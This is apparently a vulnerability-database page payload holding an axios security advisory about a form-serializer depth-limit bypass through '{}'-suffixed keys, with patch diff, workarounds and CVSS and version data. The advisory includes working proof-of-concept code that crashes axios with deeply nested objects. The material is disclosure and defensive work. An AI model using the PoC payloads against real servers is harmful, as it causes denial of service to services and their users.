[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-HCPX-6FM6-WX23":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T11:35:27.363Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":255,"related":256,"reserved_at":9,"published_at":259,"modified_at":260,"state":9,"summary":261,"references_raw":263,"kevs":299,"epss":9,"epss_history":300,"metrics":301,"affected":306},"GHSA-HCPX-6FM6-WX23","Axios form serializer maxDepth bypass via {} metatoken\n\n## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value && !path && typeof value === 'object') {\n  if (utils.endsWith(key, '{}')) {\n    key = metaTokens ? key : key.slice(0, -2);\n    value = JSON.stringify(value);\n  }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth > maxDepth) {\n  throw new AxiosError(\n    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n  );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n  const head = {};\n  let cur = head;\n\n  for (let i = 0; i \u003C depth; i += 1) {\n    cur.x = {};\n    cur = cur.x;\n  }\n\n  return head;\n}\n\ntry {\n  toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n  console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError  Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n\u003Cdetails>\n\u003Csummary>Original Report\u003C/summary>\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`\n- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value && !path && typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // \u003C-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth > maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) => {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": \u003C8000-deep object>}\n// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d > maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v && typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i \u003C depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () => Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n\u003C/details>",null,[],[],[],[],[15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,129,131,133,135,137,139,141,143,145,147,149,151,153,155,157,159,161,163,165,167,169,171,173,175,177,179,181,183,185,187,189,191,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223,225,227,229,231,233,235,237,239,241,243,245,247,249,251,253],{"_key":16},"CGA-HPPQ-44CG-Q4WV",{"_key":18},"CGA-VRWP-7PV6-J32J",{"_key":20},"CGA-22R8-CJ9G-3JQM",{"_key":22},"CGA-25CJ-CCV4-4P5W",{"_key":24},"CGA-2GR6-5M9X-867H",{"_key":26},"CGA-2V69-4295-4H8H",{"_key":28},"CGA-36Q8-F434-9XH5",{"_key":30},"CGA-3CJX-V8XH-WX4G",{"_key":32},"CGA-3FF9-FMFV-CXVV",{"_key":34},"CGA-3PQX-225M-W5F8",{"_key":36},"CGA-3RC5-6QWM-GRJX",{"_key":38},"CGA-3V34-XQX3-J7XH",{"_key":40},"CGA-3X68-6XWH-WR9V",{"_key":42},"CGA-487R-MXHM-2R95",{"_key":44},"CGA-4CXX-6H54-6HXG",{"_key":46},"CGA-4FH3-H35Q-X563",{"_key":48},"CGA-4J9V-CX44-793C",{"_key":50},"CGA-4QCQ-MHRR-JV7V",{"_key":52},"CGA-4RR2-QH4W-4GRV",{"_key":54},"CGA-4X2V-JG2J-CH88",{"_key":56},"CGA-5669-PHXJ-X7V7",{"_key":58},"CGA-56CG-87V8-CH73",{"_key":60},"CGA-5CXF-244C-C5F5",{"_key":62},"CGA-5PQ6-G2FM-8QQJ",{"_key":64},"CGA-5Q93-X7GG-886J",{"_key":66},"CGA-5WF2-52VJ-JX7R",{"_key":68},"CGA-652X-WQ7R-CC99",{"_key":70},"CGA-6G7P-F866-3C48",{"_key":72},"CGA-6WXR-9WJ2-5658",{"_key":74},"CGA-7R82-X452-HQXQ",{"_key":76},"CGA-7VRJ-G7H7-94WX",{"_key":78},"CGA-7X6R-J6CW-V65P",{"_key":80},"CGA-7XPR-HG2W-GX39",{"_key":82},"CGA-84QX-9MVG-H9J2",{"_key":84},"CGA-85G5-QRMV-7323",{"_key":86},"CGA-86MM-R3CH-F6HJ",{"_key":88},"CGA-87QC-6V47-PMR4",{"_key":90},"CGA-8CJ5-M7QC-V4WP",{"_key":92},"CGA-8MJG-CVCH-9HVW",{"_key":94},"CGA-8RV2-QC89-G77H",{"_key":96},"CGA-94PX-58HH-3RC3",{"_key":98},"CGA-9GCR-WG8V-6H54",{"_key":100},"CGA-9P4P-X9Q5-MMGV",{"_key":102},"CGA-CCVM-FXV2-WR6H",{"_key":104},"CGA-CFF7-C7XF-Q2WG",{"_key":106},"CGA-CJC7-RMMG-PMPF",{"_key":108},"CGA-CPGW-2RQG-P7XW",{"_key":110},"CGA-CRFP-4X42-PH7V",{"_key":112},"CGA-CWFP-WJG8-42JG",{"_key":114},"CGA-F4MC-MQRC-57XV",{"_key":116},"CGA-FH8G-24FV-9V3F",{"_key":118},"CGA-FMMC-FR9P-QPW9",{"_key":120},"CGA-FVRM-V9PX-P76X",{"_key":122},"CGA-FWHH-8CRQ-6R5G",{"_key":124},"CGA-G3P5-MXVG-335V",{"_key":126},"CGA-G4MH-VVMW-FVP2",{"_key":128},"CGA-G5MM-HV3Q-QX9V",{"_key":130},"CGA-GC3P-J2QH-QGF9",{"_key":132},"CGA-GGFP-4675-V7QP",{"_key":134},"CGA-GHQM-73WP-RJHM",{"_key":136},"CGA-GQ8C-JX79-XWJ2",{"_key":138},"CGA-H285-625H-RF99",{"_key":140},"CGA-H3RG-9593-4493",{"_key":142},"CGA-H49V-M4FQ-GF42",{"_key":144},"CGA-H938-RRX3-59GM",{"_key":146},"CGA-HPGG-QV7P-PX8Q",{"_key":148},"CGA-HV2Q-H95F-G8JH",{"_key":150},"CGA-J34W-MP6C-R4WR",{"_key":152},"CGA-J3P2-PH3G-J3RC",{"_key":154},"CGA-J9GH-XH3H-F62P",{"_key":156},"CGA-J9R5-7MQ2-CHJV",{"_key":158},"CGA-JM7R-78J2-MGRX",{"_key":160},"CGA-JRJG-Q33C-GFQP",{"_key":162},"CGA-JXFH-3RMQ-FCF7",{"_key":164},"CGA-M4P2-RQJ2-57MX",{"_key":166},"CGA-M9W9-5F56-WF4J",{"_key":168},"CGA-MQCJ-8VRP-GHV8",{"_key":170},"CGA-MVXR-QW9Q-M7J6",{"_key":172},"CGA-P36R-XM6X-JW72",{"_key":174},"CGA-P39Q-6VQ2-GV88",{"_key":176},"CGA-P8F5-H974-M37G",{"_key":178},"CGA-PJM4-292G-7CG9",{"_key":180},"CGA-PJWX-P4HF-9HMF",{"_key":182},"CGA-PR7G-Q7J9-8G4M",{"_key":184},"CGA-PWPR-972C-FR46",{"_key":186},"CGA-Q2QV-PFMW-R7Q8",{"_key":188},"CGA-Q7WP-8XG4-XMFM",{"_key":190},"CGA-QHRF-XG2W-MMWX",{"_key":192},"CGA-QP5M-24JC-F4QH",{"_key":194},"CGA-QQPV-J278-JHQ5",{"_key":196},"CGA-QXGG-99VV-96MR",{"_key":198},"CGA-R2X7-Q5MW-5QPG",{"_key":200},"CGA-R42J-53PR-J76H",{"_key":202},"CGA-R6CG-5Q3V-3FHV",{"_key":204},"CGA-R8WV-JFHF-4R94",{"_key":206},"CGA-R9RJ-CVJX-RC7X",{"_key":208},"CGA-RCRV-HQXG-6973",{"_key":210},"CGA-RG29-FF6V-H43C",{"_key":212},"CGA-RJHR-HHH4-8GRH",{"_key":214},"CGA-RQRM-48PW-J9CJ",{"_key":216},"CGA-RVHX-2QC9-8P9R",{"_key":218},"CGA-RX8W-RPVV-7JV9",{"_key":220},"CGA-RXJM-8JQQ-CGHF",{"_key":222},"CGA-V63X-WPXV-7R75",{"_key":224},"CGA-V6MG-J7V8-Q5M3",{"_key":226},"CGA-V6XQ-8XXF-PM6P",{"_key":228},"CGA-VC99-62HQ-94PW",{"_key":230},"CGA-VG5G-9G5V-HH7P",{"_key":232},"CGA-W44F-42XF-95P6",{"_key":234},"CGA-W78P-GG5V-HX8P",{"_key":236},"CGA-W8XG-H6MX-286M",{"_key":238},"CGA-WCJM-H5VX-WVWF",{"_key":240},"CGA-WCQ8-X89H-55F4",{"_key":242},"CGA-WFPQ-MCQF-WM9W",{"_key":244},"CGA-WV26-HWJQ-GG7X",{"_key":246},"CGA-XH49-V5MR-84J9",{"_key":248},"CGA-XM8H-G4QQ-857J",{"_key":250},"CGA-XRMR-78P9-PF2V",{"_key":252},"CGA-XW23-J3GH-GMQ4",{"_key":254},"CVE-2026-67321",[],[257],{"_key":258},"CGA-Q8CQ-VW5Q-J3XH","2026-07-20T22:38:04Z","2026-07-22T02:59:40.895475486Z",{"cisa_kev":262,"cisa_ransomware":262,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[264,270,274,278,282,286,291,295],{"url":265,"sources":266,"tags":268},"https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23",[267],"osv_npm",[269],"WEB",{"url":271,"sources":272,"tags":273},"https://github.com/axios/axios/pull/11000",[267],[269],{"url":275,"sources":276,"tags":277},"https://github.com/axios/axios/pull/11001",[267],[269],{"url":279,"sources":280,"tags":281},"https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d",[267],[269],{"url":283,"sources":284,"tags":285},"https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2",[267],[269],{"url":287,"sources":288,"tags":289},"https://github.com/axios/axios",[267],[290],"PACKAGE",{"url":292,"sources":293,"tags":294},"https://github.com/axios/axios/releases/tag/v0.33.0",[267],[269],{"url":296,"sources":297,"tags":298},"https://github.com/axios/axios/releases/tag/v1.18.0",[267],[269],[],[],[302],{"source":267,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":9,"cvss_v4_0":303},{"baseScore":304,"baseSeverity":9,"vectorString":305,"impactScore":9,"exploitabilityScore":9},6.9,"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",[307],{"ecosystem":308,"name":309,"vendor":308,"product":309,"cpe_part":9,"purl_type":310,"purl_namespace":9,"purl_name":309,"source":9,"versions":311},"Npm","axios","npm",[312,320],{"version":313,"is_range":314,"range_type":315,"version_start":316,"version_start_type":317,"version_end":318,"version_end_type":319,"fixed_in":9},"gte0_31_1_lt0_33_0",true,"semver","0.31.1","including","0.33.0","excluding",{"version":321,"is_range":314,"range_type":315,"version_start":322,"version_start_type":317,"version_end":323,"version_end_type":319,"fixed_in":9},"gte1_15_1_lt1_18_0","1.15.1","1.18.0"]